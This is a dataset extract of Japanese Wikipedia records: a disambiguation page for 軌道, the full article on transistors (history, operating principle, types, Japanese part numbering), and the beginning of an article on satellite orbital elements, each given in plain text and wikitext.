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6,728 | 軌道 | 軌道(きどう) | [
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| 軌道(きどう) | {{Wiktionary}}
'''軌道'''(きどう)
==一覧==
* [[軌道 (力学)]]({{lang-en|orbit}}) - [[物体]]が[[運動の法則]]などに従って描く[[曲線]]の経路。
** [[惑星軌道]]
** [[衛星軌道]]
* [[軌道 (力学系)]]({{lang-en|orbit}}) - [[力学系]]における軌道。
* [[電子軌道]]({{lang-en|electron orbital}}) - [[電子]]が[[原子]]内で取る[[量子状態]]([[古典力学]]的には周回軌道)。
* [[群作用#軌道と等方部分群|軌道 (群作用)]] - [[群 (数学)|群]] ''G'' が[[集合]] ''X'' に[[群作用|作用]]しているとき、''X'' の1つの[[元 (数学)|元]]に、''G'' の各元を作用させた要素全体の集合。
* [[軌道 (鉄道)]] - [[線路 (鉄道)|線路]]のうち、施工基面上の[[道床]](スラブを含む)、軌きょう及び直接これらに付帯する施設([[日本産業規格|JIS]]E1001による定義)。
* 広義の[[鉄道路線]]のうち、[[軌道法]]の適用を受けるもの。
==関連項目==
* [[軌跡 (曖昧さ回避)]]
* [[オービタル (曖昧さ回避)]]
* [[オービター (曖昧さ回避)]]
* [[天体]]・[[宇宙工学]]
** [[軌道要素]]({{lang-en|orbital elements}})
** [[人工衛星の軌道]]
*{{prefix|軌道}}
*{{intitle|軌道}}
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| https://ja.wikipedia.org/wiki/%E8%BB%8C%E9%81%93 |
6,729 | トランジスタ | トランジスタ(英: transistor)とは、電子回路において、信号を増幅またはスイッチングすることができる半導体素子である。
1940年代末に実用化されると、真空管に代わってエレクトロニクスの主役となった。論理回路を構成するための電子部品としては最も普及しており、集積回路(IC)の多くは微細なトランジスタの集合体である。1965年にムーアの法則で予言された通り、CPUやMPUに内蔵されているトランジスタの数は増え続け、今ではひとつのチップに700億個以上のトランジスタが搭載されている製品もある。CPUやMPUは、それらの膨大な数のトランジスタが高速でスイッチングを行うことで動作しており、スマートフォンやパソコン、コンピュータネットワーク、テレビ、自動車などのあらゆる機器や装置の動作においてトランジスタが関与している。なお、この名称はtransfer(伝達)とresistor(抵抗)を組み合わせたかばん語であり、ジョン・R・ピアースによって1948年に名づけられたものである。
一般には実用化につながった1947-1948年の、ベル研究所による発見および発明がトランジスタの始祖とされる。しかし、それ以前に増幅作用を持つ固体素子についての考察がよく知られているものでも何件かある。1925年、ユダヤ人物理学者ユリウス・エドガー・リリエンフェルトが、現在の電界効果トランジスタ (FET) に近い発明の特許をカナダで出願した。1934年にはドイツの発明家オスカー・ハイルが同様のデバイスについて特許を取得している。
1947年、ベル研究所の理論物理学者ジョン・バーディーンと実験物理学者ウォルター・ブラッテンは、半導体の表面における電子的性質の研究の過程で、高純度のゲルマニウム単結晶に、きわめて近づけて立てた2本の針の片方に電流を流すと、もう片方に大きな電流が流れるという現象を発見した。最初のトランジスタである点接触型トランジスタの発見である。固体物理学部門のリーダーだったウィリアム・ショックレーは、この現象を増幅に利用できる可能性に気づき、その後数か月間に大いに研究した。この研究は、固体による増幅素子の発明として、1948年6月30日に3人の連名で発表された。この3人は、この功績により、1956年のノーベル物理学賞を受賞している。transistor という用語はジョン・R・ピアースが考案した。物理学者で歴史家のロバート・アーンズ(英語版)によれば、ベル研究所の特許に関する公式文書には、ショックレーらが、前述のリリアンフェルトの特許に基づいて動作するデバイスを作ったことが書かれているが、それについて後の論文や文書は全く言及していないという。
点接触型トランジスタは、その構造上、機械的に安定した動作が難しい。機械的に安定した接合型トランジスタは、「3人」のうち最初の発見の場に立ち会うことができなかったショックレーが発明した。シリコンを使った最初のトランジスタは、1954年にテキサス・インスツルメンツが開発した。これを成し遂げたのは、高純度の結晶成長の専門家ゴードン・ティールで、彼は以前ベル研究所に勤務していた。
日本でも、官民で研究や試作が行われた。最初の量産は、1954年頃に東京通信工業(現ソニー)が開始し、翌1955年に同社から日本初のトランジスタラジオ「TR-55」が商品化された。その後相次いで大手電機メーカーも量産を開始し、1958年あたりには主要な電機メーカーからトランジスタラジオが商品化される。このとき東京通信工業の主任研究員であった江崎玲於奈はトランジスタの不良品解析の過程で、固体におけるトンネル効果を実証する現象を発見・それを応用したエサキダイオードを発明し、1973年にノーベル物理学賞を受賞している(この段落の内容に関する詳細はトランジスタラジオ#日本における歴史を参照)。
世界初のMOSトランジスタは、1960年にベル研究所のカーングとアタラが製造に成功した。
1960年代に入ると、生産歩留まりが上がってコストが下がったことや、真空管でしか扱えなかったテレビやFM放送 (VHF) のような高い周波数でも使えるようになったため、各社から小型トランジスタラジオやトランジスタテレビが発表される。材料が当初のゲルマニウムから現在の主流となっているシリコンに代わり、さらに高い電力やUHFでの使用が可能になる1970年までには、家庭用テレビやラジオから増幅素子としての真空管は姿を消していった。
その後、複数のトランジスタや周辺素子を1つのパッケージに集積させた集積回路が発明され、集積度を高めて、LSI(大規模集積回路)へと発展した。
トランジスタは、P型及びN型半導体の性質を利用している。
ここではNPN接合(端子は順にエミッタ、ベース、コレクタ)のバイポーラトランジスタ(後述)を例にとり説明する。
1960年代までの初期に多用されたPNP型のトランジスタの場合では、電源の極性(電流の向き)を逆(エミッタを (+)、コレクタ・ベースを (-))にして、電子と正孔を入れ替えれば、同様の働きを行う。
日本における半導体素子の形名(型番)は、JEITA(社団法人 電子情報技術産業協会)の規格ED-4001A「個別半導体デバイスの形名」(1993年制定、2005年改正)に基づいて、形名と規格がJEITAに登録されている。それ以前はJIS C 7012:1982(1993年廃止)で以下のようにルール付けられていた(ED-4001Aとは細部において相違がある)。
(xxxは11から始まる番号)
バイポーラトランジスタと電界効果型トランジスタの大半は、このルールに基づいて命名されている。当該JIS規格はすでに廃止されているが、今日でも通称としてJIS形名またはEIAJ(JEITAの前身組織の日本電子機械工業会の略称)形名と呼ばれる。
ここで、高周波用と低周波用を区別する基準は特に定められておらず、メーカーの任意である。
改良型は番号の後にアルファベットを付けて示す。
同じ型番でも直流電流増幅率 (hFE) や信頼性などで選別を行い、型番の末尾にそれらを識別する文字(付帯形名)が付けられていることがある。
例えば、かつて東芝が製造していた2SC1815という製品の場合、色名に由来する略記号を使って次のように示されていた。
(この東芝が使っている略記号の色名は、カラーマークに由来するもので、金属パッケージの時代には実際にその色のドットが付いていた。これは共通のものではなく、もっぱらメーカー毎に全く異なる標示法となっている。同一メーカーでも品種によって異なることもある) | [
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| トランジスタとは、電子回路において、信号を増幅またはスイッチングすることができる半導体素子である。 1940年代末に実用化されると、真空管に代わってエレクトロニクスの主役となった。論理回路を構成するための電子部品としては最も普及しており、集積回路(IC)の多くは微細なトランジスタの集合体である。1965年にムーアの法則で予言された通り、CPUやMPUに内蔵されているトランジスタの数は増え続け、今ではひとつのチップに700億個以上のトランジスタが搭載されている製品もある。CPUやMPUは、それらの膨大な数のトランジスタが高速でスイッチングを行うことで動作しており、スマートフォンやパソコン、コンピュータネットワーク、テレビ、自動車などのあらゆる機器や装置の動作においてトランジスタが関与している。なお、この名称はtransfer(伝達)とresistor(抵抗)を組み合わせたかばん語であり、ジョン・R・ピアースによって1948年に名づけられたものである。 | {{Otheruses||'''トランジスタ'''、'''トランジスター'''のその他の用法|トランジスタ (曖昧さ回避)}}{{Infobox electronic component|name=トランジスタ|symbol=[[File:BJT PNP symbol (case).svg]]|image=Transistors-white.jpg|image_size=225|caption=様々な[[パッケージ]]のトランジスタ|invented=[[ジョン・バーディーン]]、<br />[[ウォルター・ブラッテン]]、<br />[[ウィリアム・ショックレー]]<br/>([[1947年]])|pins=エミッタ、コレクタ、ベース|type=[[能動素子]]}}
'''トランジスタ'''({{lang-en-short|transistor}})とは、[[電子回路]]において、信号を増幅またはスイッチングすることができる[[半導体素子]]である。
[[1940年代]]末に実用化されると、[[真空管]]に代わって[[電子工学|エレクトロニクス]]の主役となった。[[論理回路]]を構成するための電子部品としては最も普及しており、[[集積回路]](IC)の多くは微細なトランジスタの集合体である。1965年に[[ムーアの法則]]で予言された通り、[[CPU]]や[[MPU]]に内蔵されているトランジスタの数は増え続け、今ではひとつのチップに700億個以上<ref>{{Cite web|和書|title=NVIDIA GeForce ニュース |url=https://www.nvidia.com/ja-jp/geforce/news/rtx-40-series-graphics-cards-announcements/ |website=NVIDIA |access-date=2022-10-19 |language=ja-jp}}</ref>のトランジスタが搭載されている製品もある。CPUやMPUは、それらの膨大な数のトランジスタが高速でスイッチングを行うことで動作しており、[[スマートフォン]]や[[パーソナルコンピュータ|パソコン]]、[[コンピュータネットワーク]]、[[テレビ]]、[[自動車]]などのあらゆる機器や装置の動作においてトランジスタが関与している。なお、この名称は{{lang|en|transfer}}(伝達)と{{lang|en|resistor}}([[電気抵抗|抵抗]])を組み合わせた[[かばん語]]であり、[[ジョン・R・ピアース]]によって[[1948年]]に名づけられた<ref>[http://www.etymonline.com/index.php?search=transistor&searchmode=none]。</ref>ものである。
== 歴史 ==
一般には実用化につながった1947-1948年の、[[ベル研究所]]による発見および発明がトランジスタの始祖とされる。しかし、それ以前に増幅作用を持つ固体素子についての考察がよく知られているものでも何件かある。[[1925年]]、[[ユダヤ人]]物理学者[[ユリウス・エドガー・リリエンフェルト]]が、現在の[[電界効果トランジスタ]] (FET) に近い発明の[[特許]]を[[カナダ]]で出願した<ref>Lilienfeld, Julius Edgar, "Method and apparatus for controlling electric current" {{US patent|1745175}} 1930-01-28 (filed in Canada 1925-10-22, in US 1926-10-08).</ref>。[[1934年]]にはドイツの発明家[[オスカー・ハイル]]が同様のデバイスについて特許を取得している<ref>{{cite patent | country =GB | number =439457 | status =application | inventor =Heil, Oskar | title =Improvements in or relating to electrical amplifiers and other control arrangements and devices | pubdate =1935-12-06 | gdate =1934-03-02 | fdate =1934-03-02}} European Patent Office, filed in Great Britain 1934-03-02, (originally filed in Germany 1934-03-02).</ref><ref>https://spectrum.ieee.org/tech-history/silicon-revolution/how-europe-missed-the-transistor</ref>。
[[1947年]]、[[ベル研究所]]の理論物理学者[[ジョン・バーディーン]]と実験物理学者[[ウォルター・ブラッテン]]は、[[半導体]]の表面における電子的性質の研究の過程で、高純度の[[ゲルマニウム]]単結晶に、きわめて近づけて立てた2本の針の片方に[[電流]]を流すと、もう片方に大きな電流が流れるという現象を発見した。最初のトランジスタである'''[[点接触型トランジスタ]]'''の発見である。固体物理学部門のリーダーだった[[ウィリアム・ショックレー]]は、この現象を増幅に利用できる可能性に気づき、その後数か月間に大いに研究した。この研究は、固体による増幅素子の発明として、1948年[[6月30日]]に3人の連名で発表された。この3人は、この功績により、[[1956年]]の[[ノーベル物理学賞]]を受賞している。{{lang|en|transistor}} という用語は[[ジョン・R・ピアース]]が考案した<ref>{{cite book|author=David Bodanis|title=Electric Universe|publisher=Crown Publishers, New York|year=2005|isbn=0-7394-5670-9}}</ref>。物理学者で歴史家の{{仮リンク|ロバート・アーンズ|en|Robert Arns}}によれば、ベル研究所の特許に関する公式文書には、ショックレーらが、前述のリリアンフェルトの特許に基づいて動作するデバイスを作ったことが書かれているが、それについて後の論文や文書は全く言及していないという<ref>{{cite journal|author=Arns, Robert G.|year=1998|month=October|title=The other transistor: early history of the metal-oxide-semiconducor field-effect transistor|url= http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=730824|journal=Engineering Science and Education Journal|volume=7|issue=5|pages=233–240|id={{ISSN|0963-7346}}|doi=10.1049/esej:19980509}}</ref>。
{{Gallery|width = 400px
|File:1st-Transistor.jpg|1947年にベル研究所のJohn Bardeen、William Shockley、Walter H. Brattainが作った世界最初のトランジスタの実物
|File:Replica-of-first-transistor.jpg|最初のトランジスタの[[レプリカ]](複製品)
}}
点接触型トランジスタは、その構造上、機械的に安定した動作が難しい。機械的に安定した'''接合型トランジスタ'''は、「3人」のうち最初の発見の場に立ち会うことができなかったショックレーが発明した。[[シリコン]]を使った最初のトランジスタは、[[1954年]]に[[テキサス・インスツルメンツ]]が開発した<ref>J. Chelikowski, "Introduction: Silicon in all its Forms", ''Silicon: evolution and future of a technology'' (Editors: P. Siffert, E. F. Krimmel), p.1, Springer, 2004 ISBN 3540405461.</ref>。これを成し遂げたのは、高純度の結晶成長の専門家[[ゴードン・ティール]]で、彼は以前ベル研究所に勤務していた<ref>Grant McFarland, ''Microprocessor design: a practical guide from design planning to manufacturing'', p.10, McGraw-Hill Professional, 2006 ISBN 0071459510.</ref>。
日本でも、官民で研究や試作が行われた。最初の量産は、1954年頃に東京通信工業(現[[ソニー]])が開始し、翌[[1955年]]に同社から日本初の[[トランジスタラジオ]]「TR-55」が商品化された<ref>[http://www.sony.co.jp/Fun/design/history/product/1950/tr-55.html TR-55]ソニー公式サイト</ref><ref>[http://techon.nikkeibp.co.jp/article/TOPCOL_LEAF/20050805/107391/ 50年前のソニーが生んだもの]日経エレクトロニクス雑誌ブログ、2005年8月5日</ref>。その後相次いで大手電機メーカーも量産を開始し、[[1958年]]あたりには主要な電機メーカーからトランジスタラジオが商品化される。このとき東京通信工業の主任研究員であった[[江崎玲於奈]]はトランジスタの不良品解析の過程で、固体における[[トンネル効果]]を実証する現象を発見・それを応用した[[エサキダイオード]]を発明し、[[1973年]]に[[ノーベル物理学賞]]を受賞している(この段落の内容に関する詳細は[[トランジスタラジオ#日本における歴史]]を参照)。
世界初の[[MOSFET|MOS]]トランジスタは、[[1960年]]にベル研究所のカーング<ref group="英">{{lang-en-short|Kahng}}</ref>とアタラ<ref group="英">{{lang-en-short|Atalla}}</ref>が製造に成功した<ref>W. Heywang, K. H. Zaininger, "Silicon: The Semiconductor Material", ''Silicon: evolution and future of a technology'' (Editors: P. Siffert, E. F. Krimmel), p.36, Springer, 2004 ISBN 3540405461.</ref>。
[[1960年代]]に入ると、生産歩留まりが上がってコストが下がったことや、真空管でしか扱えなかったテレビやFM放送 ([[超短波|VHF]]) のような高い周波数でも使えるようになったため、各社から小型トランジスタラジオやトランジスタテレビが発表される。材料が当初の[[ゲルマニウム]]から現在の主流となっているシリコンに代わり、さらに高い電力や[[極超短波|UHF]]での使用が可能になる[[1970年]]までには、家庭用テレビやラジオから増幅素子としての真空管は姿を消していった。
その後、複数のトランジスタや周辺素子を1つのパッケージに集積させた集積回路が発明され、集積度を高めて、[[集積回路|LSI]](大規模集積回路)へと発展した。
== 動作の原理 ==
[[ファイル:Transistor description ja.svg|right|frame|NPN型トランジスタの模式図]]
トランジスタは、P型及びN型[[半導体]]の性質を利用している。
ここではNPN接合(端子は順に[[エミッタ]]、ベース、コレクタ)の'''バイポーラトランジスタ'''(後述)を例にとり説明する。
# エミッタとコレクタは[[N型半導体]]であるため[[電子]]が過剰にあり、ベースは[[P型半導体]]であるため電子が不足([[正孔]]を持つ)している。
# エミッタ - コレクタ間に、エミッタ側を (-) として電圧をかけた場合を考える。[[Pn接合|PN接合]]においては、接合面でキャリアが相互に侵出し電荷を打ち消し合っている([[空乏層]])。電子は空乏層に阻まれ電流は流れない。
# ここで更にエミッタ - ベース間に、エミッタ側を (-)として電圧をかける。このときはエミッタ - コレクタ間に電流が流れる。
## ベース端子から電子が流れ出し、ベースに正孔が発生する(空乏層が薄くなる)。
## エミッタに存在する電子がベースに向かい移動する。ベースに供給された正孔を利用し、電子がベースを通過する。
## エミッタ - コレクタ間の電流はエミッタ - ベース間の電流に従って変化する('''増幅''')。
1960年代までの初期に多用されたPNP型のトランジスタの場合では、電源の極性(電流の向き)を逆(エミッタを (+)、コレクタ・ベースを (-))にして、電子と正孔を入れ替えれば、同様の働きを行う。
=== 増幅作用 ===
* エミッタ - ベース間のわずかな電流変化が、エミッタ - コレクタ間電流に大きな変化となって現れる。
* エミッタ - ベース間の電流を入力信号とし、エミッタ - コレクタ間の電流を出力信号とすることで、増幅作用が得られる。
* コレクタ電流 (I<sub>C</sub>) がベース電流 (I<sub>B</sub>) の何倍になるかを示す値を直流電流増幅率と呼び h<sub>FE</sub> で表す。この値は数十から数百にまで及ぶ。<math>h_{\mathit{FE}} = \frac{I_C}{I_B}</math> である。
=== スイッチング作用 ===
* 増幅時同様、エミッタ - ベース間の電流(ベース電流)によってエミッタ - コレクタ間のより大きな電流(コレクタ電流)を制御できる仕組みを利用する。
* ベースに与える小さな信号によってより大きな電流を制御できるため、メカニカルな[[継電器|リレースイッチ]]の代わりに利用されることもある。
* 電流の大小ではなくON / OFFだけが制御の対象であるため、一定の線形性が求められる一般的な増幅作用の場合とは異なり、コレクタ電流とベース電流との比が直流電流増幅率よりも小さくなる飽和領域も使われる。
* この作用により、[[論理回路]]などの[[デジタル回路]]を作ることができる。
== 機能・特性 ==
[[ファイル:Icon of Bipolar transistor.png|thumb|130px|PNP型・NPN型トランジスタの回路記号]]
[[ファイル:2SC1815.jpg|thumb|200px|小信号用バイポーラトランジスタの代表格2SC1815]]
; バイポーラトランジスタ<ref group="英">{{lang-en-short|bipolar transistor}}</ref>
: {{main|バイポーラトランジスタ}}
: P型とN型の[[半導体]]を接合したもので、エミッタ・ベース・コレクタと呼ばれる端子を持つ。一般に、ただ「トランジスタ」といえば、このタイプを指す。P型の両端をN型で挟んだNPN型、N型の両端をP型で挟んだPNP型があり、ベース - エミッタ間を流れる電流によって、コレクタ - エミッタ間の電流を制御する(右図の回路記号参照)。特性が等しいNPN型とPNP型の一組(例:2SC1815・2SA1015)をコンプリメンタリと呼ぶ。材料にゲルマニウムが使われていた1960年代の初期はPNP型がほとんどであったが(このため、[[真空管]]回路とは逆にプラス電位が[[接地]]されていた)、シリコンが使われるようになった[[1970年代]]以降は、真空管回路と同様にマイナス電位を接地するNPN型が主流になる。
; 電界効果トランジスタ (FET<ref group="英">{{lang-en-short|field effect transistor}}</ref>) またはユニポーラトランジスタ<ref group="英">{{lang-en-short|unipolar transistor}}</ref>
: {{main|電界効果トランジスタ}}
: ゲートの電圧(チャネルの電界)によって制御する方式のトランジスタである。ゲート電極が半導体酸化物の絶縁膜を介しているものを特に {{lang|en|[[MOSFET]]}} という。
; 絶縁ゲートバイポーラトランジスタ (IGBT<ref group="英">{{lang-en-short|insulated gate bipolar transistor}}</ref>)
: {{main|絶縁ゲートバイポーラトランジスタ}}
: ゲート部に電界効果トランジスタが組み込まれたバイポーラトランジスタである。電圧制御で大きな電力を取り扱えるので、大電力のスイッチング(たとえば[[電車]]や[[電気機関車]]のモーター制御装置など)に使用されている。
; トレンチMOS構造アシストバイポーラ動作FET (GTBT<ref group="英">{{lang-en-short|grounded-trench-MOS assisted bipolar-mode field effect transistor}}</ref>)
: ビルトイン電位によるチャネルの空乏化と、キャリア注入による空乏層解消及び伝導度変調により、遮断状態はFETのように動作するにもかかわらず、導通状態ではFETとバイポーラトランジスタの混成したような動作となるトランジスタである。
; ユニジャンクショントランジスタ (UJT<ref group="英">{{lang-en-short|uni-junction transistor}}</ref>)
: {{main|ユニジャンクショントランジスタ}}
: 2つのベース端子を持つN型半導体とエミッタ端子を持つP型半導体とを接合したもので、[[サイリスタ]]のトリガ素子として開発された。安定な高出力パルスが得られる。3つの電極を持つためトランジスタという名前があるが、本質的にはトランジスタとは無縁な、1つの接合しか持たない構造(単接合)の、ユニークな半導体素子である。後述のPUTの台頭により姿を消した。
; プログラマブルUJT (PUT<ref group="英">{{lang-en-short|programmable uni-junction transistor}}</ref>)
: {{main|ユニジャンクショントランジスタ}}
: 動作特性を可変としたUJT。UJT同様、サイリスタのトリガ素子として開発された。本質はトランジスタではなく、これ自体4つの接合をもつNゲートサイリスタである。既に日本メーカー製のものは全て製造中止となっている。
; フォトトランジスタ
: 光信号によって電流を制御するトランジスタである。パッケージには、光を透過する樹脂またはガラスが用いられ、一般的には(光線入力がベース電流を代用するため)ベース端子の無い二端子素子の形状となっている。主に[[光センサ]]として用いられる。同一パッケージ中に発光素子と組み合わせて封止した[[フォトカプラ]]は、電源系統の違う回路間で絶縁を保ったまま信号伝達するのに用いられる。
; 静電誘導型トランジスタ (SIT<ref group="英">{{lang-en-short|static induction transistor}}</ref>)
: 静電誘導効果を利用したもので、チャネル抵抗を極限まで減少させるためチャネルを短くし、チャネル電流が飽和しないようにしたものである。高速動作・低損失で、信号波形の忠実な増幅が可能である。
; ダーリントントランジスタ
: {{main|ダーリントントランジスタ}}
: バイポーラトランジスタの一種。電流増幅率を大きくするためにトランジスタの出力を別のトランジスタの入力とする接続法をダーリントン接続というが、1つのパッケージ内でこの接続を行い、外観としては一般のトランジスタと同様なものをダーリントントランジスタと呼ぶことがある。
; パワーバイポーラトランジスタ<ref group="英">{{lang-en-short|power bipolar transistor}}</ref>
: 電動機の制御など、特に大きな電力({{読み|kW|キロワット}}オーダ)を取り扱うために開発されたバイポーラトランジスタのこと。単にパワートランジスタとも呼ばれ、PTr<ref group="英">{{lang-en-short|power transistor}}</ref>と略される。[[電気鉄道]]の[[可変電圧可変周波数制御|インバータ装置]]や[[電機子チョッパ制御|チョッパ装置]]のスイッチング素子として利用された実績もあるが、鉄道用インバータ装置として使うには耐電圧性能が足りないため降圧処置が必要であり、コスト面で不利であったため普及しなかった。バイポーラトランジスタは電流制御型(ベース端子に流す小さな電流でコレクタ - エミッタ間の大きな電流を制御する)なので、取り扱う電流が大きくなれば駆動回路も大規模になる。特にスイッチング用途においては、[[2000年代]]に入り、さらに特性がよく電圧駆動型の[[パワーMOSFET]]や絶縁ゲートバイポーラトランジスタ (IGBT) に置き換えられつつある。
== 形名(型番) ==
日本における半導体素子の形名(型番)は、JEITA(社団法人 [[電子情報技術産業協会]])の規格ED-4001A「個別半導体デバイスの形名」(1993年制定、2005年改正)に基づいて、形名と規格がJEITAに登録されている。それ以前は[[日本工業規格|JIS]] C 7012:1982(1993年廃止)で以下のようにルール付けられていた(ED-4001Aとは細部において相違がある)。
* 2SAxxx PNP型バイポーラトランジスタ 高周波用
* 2SBxxx PNP型バイポーラトランジスタ 低周波用
* 2SCxxx NPN型バイポーラトランジスタ 高周波用
* 2SDxxx NPN型バイポーラトランジスタ 低周波用
* 2SFxxx サイリスタ
* 2SHxxx ユニジャンクショントランジスタ
* 2SJxxx Pチャネル電界効果型トランジスタ
* 2SKxxx Nチャネル電界効果型トランジスタ
(xxxは11から始まる番号)
バイポーラトランジスタと電界効果型トランジスタの大半は、このルールに基づいて命名されている。当該JIS規格はすでに廃止されているが、今日でも通称としてJIS形名またはEIAJ(JEITAの前身組織の日本電子機械工業会の略称)形名と呼ばれる。
ここで、高周波用と低周波用を区別する基準は特に定められておらず、メーカーの任意である。
=== 添え字 ===
改良型は番号の後にアルファベットを付けて示す。
=== 付帯形名 ===
同じ型番でも直流電流増幅率 (h<sub>FE</sub>) や信頼性などで選別を行い、型番の末尾にそれらを識別する文字(付帯形名)が付けられていることがある。
例えば、かつて[[東芝]]が製造していた2SC1815という製品の場合、色名に由来する略記号を使って次のように示されていた。
* 2SC1815-O: h<sub>FE</sub> = 70 - 140 通称「オレンジ」
* 2SC1815-Y: h<sub>FE</sub> = 120 - 240 通称「イエロー」
* 2SC1815-GR: h<sub>FE</sub> = 200 - 400 通称「グリーン」
* 2SC1815-BL: h<sub>FE</sub> = 350 - 700 通称「ブルー」
(この東芝が使っている略記号の色名は、カラーマークに由来するもので、金属[[パッケージ (電子部品)|パッケージ]]の時代には実際にその色のドットが付いていた。これは共通のものではなく、もっぱらメーカー毎に全く異なる標示法となっている。同一メーカーでも品種によって異なることもある)
== 脚注 ==
{{脚注ヘルプ}}
=== 注記(英語) ===
{{Reflist|group="英"|2}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
{{Refbegin|2}}
* {{Cite book |和書|first=マイケル |last=リオーダン |first2=リリアン|last2=ホーデスン |authorlink2=リリアン・ホーデスン |title=電子の巨人たち |volume=上 |translator=鶴岡雄二・ディーンマツシゲ |publisher=[[ソフトバンククリエイティブ]] |date=1998 |isbn=4797305339 }}
* {{Cite book |和書|first=マイケル |last=リオーダン |first2=リリアン|last2=ホーデスン |title=電子の巨人たち |volume=下 |translator=鶴岡雄二・ディーンマツシゲ |publisher=ソフトバンククリエイティブ |date=1998a |isbn=4797305347 }}
{{Refend}}
=== 規格表 ===
* 『最新トランジスタ規格表 各年度版』([[CQ出版]]社) - 1966年(初版)から1988年まで(22版)。初期のトランジスタ(ゲルマニウム)の規格が掲載されている。ただし、改訂版から初期の物は外されている。1989年から改訂版。2003年まで出版された。
* 『最新トランジスタ互換表 各年度版』(CQ出版社) - 1968年(初版)から2003年(35版)。
* 『最新トランジスタ規格表&互換表 各年度版』(CQ出版社) - 2004年以降、上記2冊がまとめられた。
== 関連項目 ==
{{Commonscat|Transistors}}
* [[バイポーラトランジスタ]]
* [[ショットキートランジスタ]]
* [[電界効果トランジスタ|FET]]
* [[集積回路]] - [[増幅回路]] - [[論理回路]]
* [[汎用ロジックIC]]
* [[Transistor-transistor logic|TTL]] - バイポーラトランジスタを利用した論理回路の構成方式。最初に普及した[[汎用ロジックIC|ロジックIC]]で、 他の回路構成のロジックICでもその型番を踏襲したものが多い。
* [[CMOS]] - P型、N型MOSFETを相補的に利用した論理回路構成方式。集積度が高く低消費電力なので、ロジックIC、LSIとして幅広く利用されている。
* [[HCMOS]]
* [[ムーアの法則]]
<!-- * [[ポンパ]] - [[日立製作所]]が発売したトランジスタを初採用した[[カラーテレビ]] -->
* [[トランジスターグラマー]]
== 外部リンク ==
* {{Kotobank}}
{{Normdaten}}
{{半導体}}
{{Electronic components}}
{{DEFAULTSORT:とらんしすた}}
[[Category:トランジスタ|*]]
[[Category:英語の語句]]
[[Category:造語]] | 2003-04-14T10:58:22Z | 2023-10-22T00:31:48Z | false | false | false | [
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]
| https://ja.wikipedia.org/wiki/%E3%83%88%E3%83%A9%E3%83%B3%E3%82%B8%E3%82%B9%E3%82%BF |
6,730 | 人工衛星の軌道要素 | 人工衛星の軌道要素(じんこうえいせい の きどうようそ)とは、人工衛星の軌道を表すパラメータであり、次のようなものがある。
ケプラーの法則に基づく軌道要素 (Keplerian Elements)
アメリカ航空宇宙局(NASA)が発表している軌道要素の形式による。
地球を周回する物体の軌道は一般に楕円形である。
楕円の大きさと形は長径と短径で与えられる。しかし、後で述べる理由で、半長径 a {\displaystyle a} または平均運動 m {\displaystyle m} と離心率 e {\displaystyle e} で与えることが一般的である。離心率の定義については楕円軌道も参照のこと。
軌道が地球および宇宙に対してどのように配置されるかを表すには、軌道傾斜角 i {\displaystyle i} 、昇交点赤経Ω、軌道面内での楕円の主軸方向(近地点引数ω)を用いる。
Ωは赤道面内、ωは軌道面内で測った角度を表す。
(右図の説明は, 平均近点角, 真近点角などの解説ページと矛盾しているので注意。すなわち, 右図の平均近点角Mは, 上述ページの中ではEであり, 平均近点角Mではない。)
特定の日時(元期)において衛星が軌道上のどの地点にいるかを示すのが平均近点角 M {\displaystyle M} である 。これは、図形的には真近点角 v {\displaystyle v} あるいは離心近点角 E {\displaystyle E} のほうが理解しやすく、図のような関係にある。なお、円軌道( e = 0 {\displaystyle e=0} )においては M = E = v {\displaystyle M=E=v} である。
なお、平均運動(1日に軌道を周回する回数)と、軌道の(半)長径との関係はケプラーの第3法則により一意に定まるので、平均運動が軌道の大きさを示すことになる。実用上は、軌道の長径を直接測定できないが、周期(周回速度の逆数)は測定できるため、人工衛星のパラメータとしてはもっぱら平均運動を用いる。
これらの説明は、2体問題の解であるが、地球は球対称でなく、赤道半径が長い回転楕円体(扁球)に近いため、また月や太陽の重力、太陽の輻射圧により軌道要素は時々刻々と変動する(摂動)。さらに、低高度(高度800km以下)の衛星の場合、上層大気による抵抗(ドラグ)によって減速されて次第に高度が下がる。
人工衛星の高度を維持するためには、場合によってはスラスタ等の推進力を用いて加速することで下がった軌道を持ち上げる操作を行う必要がある。
軌道要素は変動するため定期的な更新が必要であり、人工衛星の運用にあたっては軌道の測定が重要である。アメリカ合衆国のNORADは定期的に大きさ10cm以上の人工天体のレーダー観測を行って軌道を測定しており、これらのうち軍事機密でないものはWebで入手可能である。このフォーマットはTLE(Two Line Element)と呼ばれる。
外部リンクに上げたCelesTrakなどで公開しているTLEの例(「みどりII」の例)
フォーマットの解説はリンク先を参照されたい。
(これらも具体的な衛星の軌道要素を示したほうがよい) | [
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| 人工衛星の軌道要素とは、人工衛星の軌道を表すパラメータであり、次のようなものがある。 ケプラーの法則に基づく軌道要素 元期: Epoch(年と日)
平均運動( m ): Mean Motion(周回/日)または半長径 Semi-major Axis(km)
離心率( e ): Eccentricity(単位無し)
軌道傾斜角( i ): Inclination(度)
昇交点赤経( Ω ): RAAN(度)
近地点引数( ω ): Argument of Perigee(度)
平均近点角( M ): Mean Anomaly(度) アメリカ航空宇宙局(NASA)が発表している軌道要素の形式による。 | '''人工衛星の軌道要素'''(じんこうえいせい の きどうようそ)とは、[[人工衛星]]の[[軌道 (力学)|軌道]]を表すパラメータであり、次のようなものがある。
[[ケプラーの法則]]に基づく軌道要素 (Keplerian Elements)
* '''元期''': Epoch(年と日)
* '''平均運動'''( <math>m</math> ): Mean Motion(周回/日)または'''半長径''' Semi-major Axis(km)
* '''離心率'''( <math>e</math> ): Eccentricity(単位無し)
* '''軌道傾斜角'''( <math>i</math> ): Inclination(度)
* '''昇交点赤経'''( <math>\Omega</math> ): RAAN (Right Ascension of Ascending Node)(度)
* '''近地点引数'''( <math>\omega</math> ): Argument of Perigee(度)
* '''平均近点角'''( <math>M</math> ): Mean Anomaly(度)
[[アメリカ航空宇宙局]](NASA)が発表している軌道要素の形式による。
== 軌道要素の意味 ==
地球を周回する物体の軌道は一般に楕円形である。
=== 軌道のサイズと形状 ===
[[ファイル:elliptical-orbit.png|right|300px|楕円軌道]]
楕円の大きさと形は長径と短径で与えられる。しかし、後で述べる理由で、半長径<math>a</math>または平均運動<math>m</math>と[[離心率]]<math>e</math>で与えることが一般的である。離心率の定義については[[楕円軌道]]も参照のこと。
{{-}}
=== 軌道の配置 ===
[[ファイル:orbital-element1.png|right|400px|楕円軌道]]
